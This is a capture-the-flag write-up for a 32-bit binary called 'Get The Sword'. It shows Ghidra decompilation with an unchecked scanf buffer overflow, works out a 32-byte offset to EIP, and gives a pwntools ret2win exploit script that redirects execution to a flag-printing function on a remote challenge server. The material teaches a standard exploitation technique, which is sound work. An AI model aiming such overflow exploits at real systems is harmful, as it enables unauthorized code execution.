# Get The Sword
{% file src="/files/oKSea2cMamXIuZvkUlWk" %}
## Challenge Description :
### Basic Binary Enumeration :
we can see that the binary is 32 bit not stripped that means that the functions names are not obfuscated and all the protections are off
let's open the binary in ghidra to analyze it and find potential vulnerabilities
we have 4 functions
```c
undefined4 main(void)
{
printSword();
intro();
return 0;
}
void printSword(void)
{
puts(" />_________________________________");
puts("[#####[]_________________________________>");
puts(" \\>");
fflush(stdout);
return;
}
void intro(void)
{
undefined local_20 [24];
printf("What do you want ? ?: ");
fflush(stdout);
__isoc99_scanf(&%s,local_20); // BOF vulnerability
printf("You want, %s\n",local_20);
return;
}
// win function
void getSword(void)
{
system("cat flag.txt");
fflush(stdout);
return;
}
```
the function intro is vulnerable since it reads from the user without checking the size of the data received.
### Offset to EIP :
we can use gdb to find the offset and we can also use ghidra.
in ghidra we can see that the offset to reach the EIP is 0x20 which 32
### Exploit :
```python
from pwn import *
# Set up pwntools for the correct architecture
exe = './get_sword'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('173.255.201.51', 31337)
offset = 32
ret = 0x0804900e #ret gadget (ropper --file=ret2win --search="ret")
payload = flat(
offset * b'A',
elf.functions.getSword
)
io.sendlineafter(b':', payload)
io.interactive()
```
### Flag :
